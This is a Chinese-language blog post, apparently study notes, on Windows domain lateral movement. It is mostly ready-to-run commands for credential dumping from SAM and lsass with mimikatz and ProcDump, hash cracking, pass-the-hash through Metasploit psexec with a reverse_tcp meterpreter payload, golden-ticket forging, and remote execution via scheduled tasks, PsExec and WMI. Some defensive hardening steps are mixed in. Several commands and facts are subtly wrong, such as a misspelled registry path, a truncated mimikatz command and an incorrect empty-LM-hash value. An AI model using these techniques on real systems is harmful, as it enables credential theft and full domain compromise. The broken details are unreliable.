0%

域内横向移动

 域内横向移动技术,是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高及持续威胁(APT)中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其它域内主机,扩大资产范围(包括跳板机中的文档和存储的凭证,以及通过跳板机连接的数据库、域控制器或其他重要资产)。
 通过此类攻击手段,攻击者最终获取域控制器的访问权限,甚至完全控制基于windows操作系统的基础设施和业务相关的账户。因此,必须使用强口令来保护特权用户不被横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。

0x01 常用 Windows 远程连接和相关命令

  在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH (Pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程Windows操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络条件较差,无法使用图形化界面连接远程主机。此时,可以使用命令行的方式连接远程主机(最好使用Windows自带的方法对远程目标系统进行命令行下的连接操作)并执行相关命令。
  在实际的网络环境中,针对此类情况,网络管理人员可以通过配置Windows系统自带的防火墙或组策略进行防御。(理解:利用防护墙阻断你连我的3389或者阻断一些协议)

1、IPC(internet process connection)

 IPC共享“命名管道”的资源,是为了实现进程间的通信而开放的命名管道。IPC可以通过验证用户名和密码获取相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
 通过 ipc$ ,可以与目标主机建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载操作 还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

(1) 我们如何建立一个 ipc$ ?

如下命令:

1
2
net use \\192.168.152.159\ipc$  "487280636@qq.com"  /user:ONE\mayi  
#/user:然后接我们的用户名,如果有域就带上域如这里

随后使用 net use 可以查看当前连接

如上表示连接成功。

(2) ipc$ 的利用条件

开启了139、445端口
 ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445端口,可以实现对共享文件/打印机的访问。因此,一般来讲,ipc$需要139、445端口的支持。
有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机。
管理员开启了默认共享
 默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等)和系统目录winnt或windows(admin$)。通过ipc$,可以实现对这些默认共享目录的访问。

(3) 连接失败的原因

  • 用户名或密码错误
  • 目标没有打开ipc$ 默认共享
  • 不成功连接139、445端口
  • 命令输入错误

(4) 常见错误号

  • 错误号5:拒绝访问。
  • 错误号51: Windows 无法找到网络路径,即网络络中存在问题
  • 错误号53:找不到网络路径,包括IP地址错误、目标未开机,目标的 lanmanserver(工作站服务)服务未启动、目标有防火墙(端口过滤)。
  • 错误号67:找不到网络名,包括 lanmanworkstation服务未启动、ipc$ 已被删除。
  • 错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipc$,需要在删除原连接后重新进行连接。
  • 错误号1326:未知的用户名或错误的密码。
  • 错误号1792:试图登录,但是网络登录服务器没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
  • 错误号2242:此用户的密码已过期。例如目标机器设置了账号管理策略,强制用户定期修改密码。

2、使用Windows自带的工具获取远程主机信息

(1) dir 命令

在使用net use命令与远程目标机器建立ipc$ 后,可以使用dir命令列出远程主机中的文件。

(2) tasklist 命令

在使用net use 命令与远程目标机器建立ipc$后,可以使用tasklist命令的/S(service)、/U(user)、/P(password)参数列出远程主机上运行的进程。

1
tasklist /S 192.168.152.159 /U ONE\mayi /P 487280636@qq.com

3、计划任务

(1) at命令

at是windows自带的用于创建计划任务的命令,它主要工作在windows server 2008 之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下:

  1. 使用net time命令确定远程机器当前的系统时间。
  2. 使用copy命令将Payload 文件复制到远程目标机器中。
  3. 使用at命令定时启动该Payload文件。
  4. 删除使用at命令创建计划任务的记录

在使用at命令在远程机器上创建计划任务之前,需要使用net use命令建立ipc$。具体详细如下:

查看目标系统时间

net time命令可用于查看远程主机的系统时间。

1
net time \\192.168.152.159

将文件复制到目标系统中

 首先,在本地创建一个calc.bat文件,其内容为“calc”。使用Windows自带的copy命令将一个文件复制到远程主机的C盘中。命令如下:

1
copy calc.bat \\192.168.152.159\c$

使用at创建计划任务

使用net time命令获取当前远程主机的系统时间。使用at命令让目标系统在指定时间运行一个程序:(win2008之前的系统)

1
2


不支持请求,懵

清除at记录

 计划任务不会随着它本身的执行而被删除,因此,网络管理员可以通过攻击者创建的计划任务获知网络遭受了攻击。

1
at \\192.168.152.159 7 /delete    #删除创建的计划任务

使用at远程执行命令后,先将执行结果哦写入本地文本文件,再使用type命令远程读取该文本文件。

1
2
at \\192.168.152.159 4:10PM cmd.exe /c "ipconfig" >C:/1.txt"
type \\192.168.152.159\C$\1.txt

(2) schtasks 命令

Windows Vista、Windows Server 2008及之后版本的操作系统已经使用schtasks 命令代替at命令。

  1. 在远程主机上创建一个名称为“test”的计圳任务。该计划任务在开机时启动,启动程序为C盘下的 calc.bat,启动权限为System。
    1
    schtasks /create /s 1.1.1.10 /tn test /sc onstart /tr c:\calc.bat /ru system /f
  2. 在远程主机上运行名为test的计划任务
    1
    schtasks /run /s 1.1.1.10 /i /rn "test"
  3. 在使用schtasks命令时不需要输入密码,原因是此前已经与目标机器建立了ipc$。如果没有建立ipc$,可以添加参数/u /p
    /u administrator
    /p “123456Aa”
    /f 强制删除
  4. 任务执行后删除计划任务
    1
    schtasks /delete /s 1.1.1.10 /tn "test" -f
  5. 最后删除ipc$
    1
    2
    net use 名称 /del /y    
    #在删除ipc$时,要确认删除的是自己创建的ipc$
    在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。

0x02 Windows系统散列值获取

1、LMHash 和 NTLM Hash

 Windowus 操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。Widows操作系统中的密码一般由两部分组成,一部分为 LM Hash, 另部分为NTLM Hash。在Windows操作系统中,Hash的结构通常如下。

1
username:RID:LM-HASH:NT-HASH

 LM Hash的全名为“LAN Manager Hash”,是微软为了提高Windows操作系统的安全性面采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但为了保证系统的兼容性,Windows只是将LMHash禁用了(从Windows Vista 和WindowsSever 2008版本开始,Windows操作系统默认禁用LM Hash )。LM Hash明文密码被限定在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上即可。如果LM Hash被禁用了,攻击者通过抓取的LM Hash通常为“ab35454a3435451404046“(表示LMHash为空值或被禁用)。
 NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加者算法,NTLMHash是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever2003以后,Windows 操作系统的认证方式均为NTLM Hash.

2、单机密码抓取与防范

 要想在Windows操作系统中抓取散列值或明文密码,必须将权限提升至System。本地用户名、散列值和其他安全验证信息都保存在SAM文件中。lsass.exe进程用于实现Windows的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的lsass.exe 进程或SAM文件中导出。
 在Windows操作系统中,SAM文件的保存位置是C:\WindowslSystem32\config。该文件是被锁定的,不允许复制。在渗透测试中,可以采用传统方法,在关闭Windows操作系统之后,使用PE盘进人文件管理环境,直接复制SAM文件,也可以使用VSS等方法进行复制。下面对常见的单机密码抓取工具和方法进行分析。

(1) GetPass

(工具没找到) 据说直接运行对应版本即可。

(2) PwDump7

 在命令行环境中运行PwDump7程序,可以得到系统中所有账户的NTLM Hash,可以通过彩虹表来破解散列值。如果无法通过彩虹表来破解,可以使用哈希传递的方法横向渗透测试。(https://www.openwall.com/passwords/windows-pwdump)

(3) 通过SAM和system文件抓取密码

  1. 无工具导出SAM和system文件
    需要管理员权限:

    1
    2
    >reg save hklm\sam C:\Users\mayi\Desktop\sam.hive
    >reg save hklm\system C:\Users\mayi\Desktop\system.hive

  2. 通过 ProcDump 工具获取 lsass.dmp 文件。
    Procdump是微软官方发布的工具,可以在命令行下将目标lsass文件导出,且杀毒软件不会拦截。先用在目标机器上传微软的工具Procdump,导出其lsass.exe:【下载】

    1
    2
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp  
    #本机win10测试失败
  3. 通过读取SAM和System 文件获取 NTLM hash
    使用mimikatz【下载】

    1
    2
    mimikatz.exe
    lsadump::sam /sam:sam.hive /system:system.hive

使用mimikatz直接读取本地SAM文件
 将mimikatz免杀处理后上传至目标机器,在命令行中打开mimikatz(容易被杀)

1
2
3
privilege::debug    #提升权限
token::elevate #system权限
lsadump::sam #读取本地SAM文件,获取NTML Hash

(4) 使用mimikatz在线读取SAM文件

不一定查得到,同样需要免杀绕过。

1
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"    #在线读取散列值及明文密码

(5) 使用mimikatz离线读取lasass.dmp

  1. 导出 lasass.dmp 文件,有的系统可以直接右击进程然后选择‘转储进程’即可如图
    也可以使用
  2. 在mimikatz中使用如下命令导入lasass.dmp文件
    1
    2
    sekurlsa::minidump C:\Users\ADMINI~1\AppData\Local\Temp\lsass.DMP 
    #看到Switch to MINIDUMP 加载成功
  3. 导出密码散列值
    1
    sekurlsa::logonPasswords full    #导出密码散列值

(6) 单机密码抓取的防范

 微软为了防止用户的明文密码在内存中泄露,发布了KB2871997补丁,关闭了Wdigest功能。
  Windows Server2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server2012以下版本,如果安装了KB2871997补丁,攻击者同样无法获取明文密码。
在命令行环境开启或关闭Wdigest Auth,有如下两种方法:

  1. 使用 red add命令
    1
    2
    3
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f           // 开启Wdigest Auth

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f // 关闭Wdigest Auth
  2. 使用 powershell
    1
    2
    3
    4
    #开启
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    #关闭
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0

3、Windows 密码哈希破击方法

 获取到密码hash后,我们可能需要对其进行破解,以得到明文密码。

(1) ophcrack在线破解

 如今网上有很多的网站提供在线密码破解服务,在获取密码哈希后,可以对其进行在线破解。
网址:https://www.objectif-securite.ch/en/ophcrack

放入NThash然后点GO即可。

(2) ophcrack工具

ophcrack是一款Windows密码哈希值破解工具,其官方给我们提供了几十GB的哈希表。
ophcrack下载地址:https://ophcrack.sourceforge.io/
ophcrack提供的彩虹表下载地址:https://ophcrack.sourceforge.io/tables.php
ophcrack使用十分简单,打开程序,点击Load导入哈希值,然后通过加载Tables后,执行Crack即可进行破解
(没用过,先就了解下)

(3) Hashcat工具

 我们主要学习这个工具。Hashcat号称是世界上最快的密码破解工具,世界上第一个和唯一一个基于GPGPU规则的引擎。
Windows版下载地址:https://hashcat.net/hashcat/
linux版下载地址:https://github.com/hashcat/hashcat
下载下来之后,进入其源码的目录执行“make && make install”命令即可编译安装。kali自带
首先我们使用 -b 参数,测试使用当前机器进行爆破的基准速度(虚拟机中使用加 –force强制执行):

-m 指定哈希值的类型

常用的如下:

  • -m 1000:NTLM
  • -m 5600:Net-NTLMv2
  • -m 5500:NetNTLMv1 / NetNTLMv1+ESS
  • -m 0:MD5
  • -m 2500:WPA/PSK
  • -m 100:sha1
    更多哈希类型可以【参考官网】
-a 指定破解模式
  • -a 0:字典模式
  • -a 1:组合模式
  • -a 3:掩码暴力破解
常用命令组合

利用字典爆破:

1
2
3
./hashcat -m xx -a 0 <hashfile> <passwords.list1> <passwords.list2>
./hashcat -m 1000 -a 0 hash.txt -o result.txt passwords.txt
./hashcat -m 1000 -a 0 NTLM Hash passwords.txt

-a 0:指定以字典模式破解。
-m xx:指定hashfile文件里的哈希值类型。
-o:把破解到的结果写入文件
:将多个哈希值存入文件,等待破解。
<passwords.list>:指定字典文件。
如下测试:

1
root@kali:/# hashcat -m 1000 -a 0 de60a66e7bf8f0870c3d59fd3f1600df  -o result.txt password.list --force

4、如何防范攻击者抓取明文密码和散列值

(1) 设置Active Diretory 2012 R2功能级别

 Windws Sever 2012R2新增了一个名为“受保护的用户”的用户组。只要将需要保护的用户放人该组,攻击者就无法使用mimikaz等工具抓取明文密码和散列值了。

(2) 安装KB2871997

 KB2871997是微软用来解决PsExec或IPC远程查看(ipc$ )问题的补丁,能使本地账号不再被允许远程接人计算机系统,但系统默认的本地管理员账号Administrator 这个SID为500的用户例外——即使将 Administrator改名,该账号的SID仍为500,攻击者仍然可以使用横向攻击方法获得内网中其他计算机的控制权。安装KB2871997后,仍需禁用默认的Administrator账号,以防御哈希传递攻击。
 在日常网络维护中,可以通过Windows update进行自动更新,也可以访同微软官方网站下载补丁文件进行修复。

(3) 通过修改注册表禁止在内存中存储明文密码

 微软在Windows xp版本中台南佳了一个名为WDigest的协议。该协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机。
 修改注册表,解决内存中以明文存储密码的问题。

1
2
3
4
5
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0     
#在注册表中添加一个键值,将其设置为0,电脑注销后,windows将不会把密码明文存储在内存中。

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
#查询键值是否添加成功

注销电脑后,使用mimikatz抓取密码。此时只能获取NTML Hash,因为NTML Hash很难被破解,所以设置的Windows密码足够强壮,并定时修改密码,就可以降低被彻底攻陷的可能性。

(4) 防御mimikatz 攻击

 根据Debug权限确定哪些用户可以将调试器附加到任何进程或者内核中。在默认情况下,此服务为本地管理员Administrator所有。不过除非是系统进程,本地管理员几乎不需要使用此权限。

win+r 运行 secpol.msc查看如下:

mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需要和Isass进程进行交互,如果没有Debug权限,mimikatz 将不能读取lsass进程)。因此,在维护网络时,可以针对这一点采取防御措施。将拥有Debug权限的本地管理员从Administrators组中删除。重启系统,再次运行mimikatz,输人”privilege::debug”, 将看到错误信息。此时,已经无法使用mimikatz抓取散列值及明文密码了。

0x03 哈希传递攻击

1、哈希传递攻击的概念

 该方法通过找到与账户相关的密码散列值(通常是NTLM Hash )来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管管理员账号和密码,
因此,如果计算机的本地理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。通过哈希传递,攻击者不需要花时间破解密码散列值(进而获得密码明文)。
  在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软直接的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在Windows server2012R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

2、哈希传递攻击适用情况

(1) 在工作组中:

  • Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
  • Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员组内用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

(2) 在域环境中:

 只要是域管理员组内的用户(可以是域管理员组内非administrator用户)的哈希值都能进行传递攻击,攻击成功后可以访问域内任意一台机器。

3、MSF进行哈希传递攻击PtH(Pass the Hash)

(1) 工作组环境,必须是 administrator用户

 当我们获取到了某台主机的 administrator 用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行远程登录(哈希传递攻击)。这个是rhost可以是一个主机,也可以设置一个网段。

1
2
3
4
5
6
7
8
msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6
#这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit

(2)域环境

 当我们获取到了域管理员组内任意用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行哈希传递攻击。

1
2
3
4
5
6
7
8
msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.11
msf exploit(psexec) > set rhost 192.168.10.131
msf exploit(psexec) > set smbuser test
#test用户在域管理员组内,注意这里不需要写域前缀
msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
msf exploit(psexec) > exploit

4、mimikatz 进行哈希传递攻击

工作组

1
2
3
rivilege::debug    #先提权
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:用户名 /domain:目标机器IP /ntlm:密码哈希

1
2
3
rivilege::debug    #先提权
#使用域管理员test的NTLM哈希值对域控进行哈希传递攻击,域用户test在域管理员组中
sekurlsa::pth /user:test /domain:xie.com /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc

5、使用AES进行Key传递攻击(PTK,Pass The Key)

前提:只适用于域环境,并且目标主机需要安装 KB2871997补丁
我们也是使用 mimikatz 工具

(1) 获取AES凭证

1
2
privilege::debug
sekurlsa::ekeys #获取kerberos加密凭证

(2) 利用获得到的AES256或AES128进行Key攻击

1
2
3
4
5
privilege::debug
#使用AES-256进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083
#使用AES-128进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes128:4728551c859bbe351e9c11b5d959163e

6、更新KB2871997补丁产生的影响

 KB2871997 补丁将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是 Interactive login。其后果就是:无法通过本地管理员权限对远程计算机使用 Psexec、WMI、smbexec、IPC 等,也无法访问远程主机的文件共享等。
 在实际测试中,更新KB2871997之后,发现无法使用常规的哈希传递方法进行横向移动,但 administrator(SID=500) 账号例外,使用该账号的散列值依然可以进行哈希传递攻击。这里需要强调的是 SID=500 的账号。即使将administrator账号改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行哈希传递攻击,就不会受到KB2871997的影响。
 其实 KB2871997 的补丁并没有多大的用处,由于在 Windows Vista 时代,微软就通过将LocalAccountTokenFilterPolicy 值默认设置为 0 来禁止非administrator账号的远程连接(包括哈希传递攻击),但是administrator用户不受影响。即使目标主机更新了KB2871997的补丁,仍然可以使用PID=500的用户进行哈希传递攻击,而 PID=500 的用户默认为 aministrator,所以仍然可以使用administrator用户进行哈希传递攻击。并且在打了KB2871997 补丁的机器上,通过将LocalAccountTokenFilterPolicy设置为1,也还是可以使用普通管理员账号进行哈希传递攻击。
【参考链接】

0x04 票据传递攻击

 要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。mimikatz 同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递( Pass The Ticket, PTT)。下面我们学习一下票据传递攻击。

1、票据传递攻击(PtT,Pass the Ticket) 初步理解

 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或者NTML哈希的方法,PtT最常见的用途是使用黄金票据和白银票据,通过PtT访问主机相当简单。

(1) kerberos认证粗略流程

Kerberos 主要是用在域环境下的身份认证协议。kerberos协议中主要有三个存在的角色:

  1. 访问服务的 Client
  2. 提供服务的 Server
  3. KDC(Key Distribution Center) 密钥分发中心

注意: KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。

 在KDC中又分为两个部分:Authentication Service(AS)Ticket Granting Service(TGS):

  • AS 的作用就是验证Client端的身份,验证通过会返回一张TGT(Ticket Granting Ticket) 票给 Client。
  • TGS 的作用是通过client的票(TGT)换取访问server端的票ST(Service Ticket) 也被称为TGS Ticket。

个人理解,TGT票就是证明了你是好人或者说你是我信任的人,而ST票证明你有权限。

kerberos认证粗略流程:
  1. client向kerberos服务请求,希望获取访问server的权限。kerberos得到了这个消息,首先得判断client是否是可信赖的,也就是白名单黑名单的说法。这就是AS服务完成的工作,通过在AD中存储黑名单和白名单来区分client。成功后,AS返回TGT(使用KDC中krbtgt用户的NTLM Hash加密Session Key和客户端的信息得到的 TGT)给client。
  2. client得到了TGT后,继续向kerberos的TGS请求,希望获取访问某个server的权限。kerberos又得到这个消息,这时候通过client消息中的TGT,判断出client拥有了这个权限,给了client访问server的权限ticket。
  3. client得到ticket后,终于可以成功访问server。这个ticket只是针对这个server,其他server需要再次向TGS申请ticket(门票)。

(2) 黄金票据

黄金票据特点:

  • 需要与DC通信
  • 需要krbtgt用户的hash
     Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。
要创建黄金票据,我们需要知道以下信息:
  • 要伪造的域用户(这里我们一般填写域管理员账户)
  • 域名
  • 域的SID值(就是域成员SID值去掉最后的)
  • krbtgt账号的哈希值
实验
  1. 进入mimikatz,使用如下命令查看哈希和域sid(测试发现普通域用户无法获得,需要域管理员组的用户)
    1
    2
    3
    lsadump::dcsync /domain:one.com /user:krbtgt
    ##如果没有权限就使用如下提权一下
    privilege::debug
  2. 方法一:在mimikatz中生成黄金票据并导入
    1
    2
    3
    privilege::debug  #提权
    kerberos::golden /user:administrator /domain:one.com /sid:S-1-5-21-3207984876-4145485252-2180772908 /krbtgt:abe0960aa136dce3a6bb9fbe03aa8d3d /ptt #生成票据并导入
    # kerberos::golden /user:要伪造的域用户(我们这一般写域控) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt

    随后我们可以使用kerberos::list查看票据
    验证是否成功:
    1
    2
    C:\Documents and Settings\mayi>net use k: \\WIN-4IRPOMA33TP.one.com\c$
    命令成功完成。
    销毁票据:
    1
    2
    kerberos::purge      #删除票据
    kerberos::list #查看票据
    但是后面我测试发现,删除了票据还是可以完成映射。

【域成员主机不能为03和xp及以下】否则导入票据报错 我这里可能是报错了,脑袋~的,以后再细看看。

(3) 白银票据

白银票据特点:

  • 不需要与KDC进行交互
  • 需要目标服务的NTLM Hash

在第三步认证中的Ticket的组成:

1
Ticket=Server Hash(Server Session Key+Client info+End Time)

当拥有Server Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。

(3) 黄金票据和白银票据的不同

访问权限不同:
  • 黄金票据Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限
  • 白银票据Silver Ticket:伪造TGS,只能访问指定的服务
加密方式不同:
  • Golden Ticket由krbtgt的Hash加密
  • Silver Ticket 由服务账号(通常为计算机账户)Hash加密
    认证流程不同:
  • Golden Ticket的利用过程需要访问域控,
  • 而Silver Ticket不需要
隐蔽性不同:

白银票据依赖于服务账号的密码散列值,而黄金票据需要利用krbtgt账号的密码散列值,因此白银票据更隐蔽

(4) 将内存中票据导出,然后再加载

  1. 使用如下命令将内存中的票据导出
    1
    mimikatz "privilege::debug" "sekurlsa::tickets /export"    #使用mimikatz,可以将内存中的票据导出
    执行以上命令后,会在当和日录下出现多个服务的票据文件,例如krbgt、cifs、ldap 等。为防止出错我们在导入票据前先将内存中的票据删除。
    1
    2
    kerberos::purge      #删除票据
    kerberos::list #查看票据
    将票据加载到内存:
    1
    2
    mimikatz "kerberos::ptt "C:\Users\Administrator\Desktop\[0;3e4]-0-0-40a50000-WIN-2008$@GC-WIN-2012.hello.testlab.kirbi"   
    #将票据文件注入内存

0X05 PsExec

 起初PsExec主要用于大批量Windows主机的运维,在域环境下效果尤其好。但是,攻击者渐渐开始使用PsExec,通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议( RDP )进行图形化控制,降低了恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中)。PsExec可以在Windows Vista/NT 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016(包括64位版本)上运行。

1、PsTools 工具包中的PsExec

PsExec包含在PsTools工具包中【下载地址】这个工具包还不错里面有其它的使用exe。

1
2
3
4
5
6
7
8
9
10
11
12
## 建立连接
net use \\1.1.1.10\ipc$ "123456Aa" /user:Administrator

-accepteula: 第一次运行PsExec会弹出确认框,使用该参数就不会出现
-s: 以system权限运行远程进程,获得一个system权限的交互式shell,不使用此参数获得一个administrator的shell


如果没有建立ipc$,PsExec有两个参数可以通过指定账户和密码进行远程连接
psexec \\1.1.1.3 -u cmd.exe #-u 域\用户名 -p密码

使用psexec在计算机上直接回显不进入交互
psexec \\1.1.1.3 cmd.exe /c "ipconfig"

在使用PsExec时,需要注意以下几点。

  • 需远程系统开启admin$共享(默认是开启的)
  • 连接目标系统后,不需要输人账号和密码。
  • 在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。
  • 命令执行后,psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
  • 使用PsExec可以直接获得System权限的交互式Shell。

2、Metasploit 中的psexec模块

1
search psexec

未做测试

1
2
3
4
5
6
use exploit/windows/smb/psexec 
show options
set RHOSTS 1.1.1.7
set SMBPass 123
set SMBUser administrator
run

0x06 WMI的使用

 自PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,可以使用WMI进行横向移动。通过渗透测试发现,在使用wmi.exe进行横向移动时,Windows 操作系统默认不会将WMI的操作记录在日志中。因为在这个过程中不会产生日志,所以对网络管理员来说增加了攻击溯源成本。而对攻击者来说,其被发观的可能性有所降低、隐救性有所提高。

1、基本命令使用

在远程执行一个命令并将回显重定向到远程机器的txt文件里。

1
wmic /node:1.1.1.3 /user:Administrator /password:@Admin process call create "cmd.exe /c ipconfig >c:\ip.txt"


建立ipc后,使用type命令读取执行结果:

1
2
3
net use \\1.1.1.3\ipc$  "@Admin" /user:administrator

type \\1.1.1.3\c$\ip.txt


-------------本文结束感谢您的阅读-------------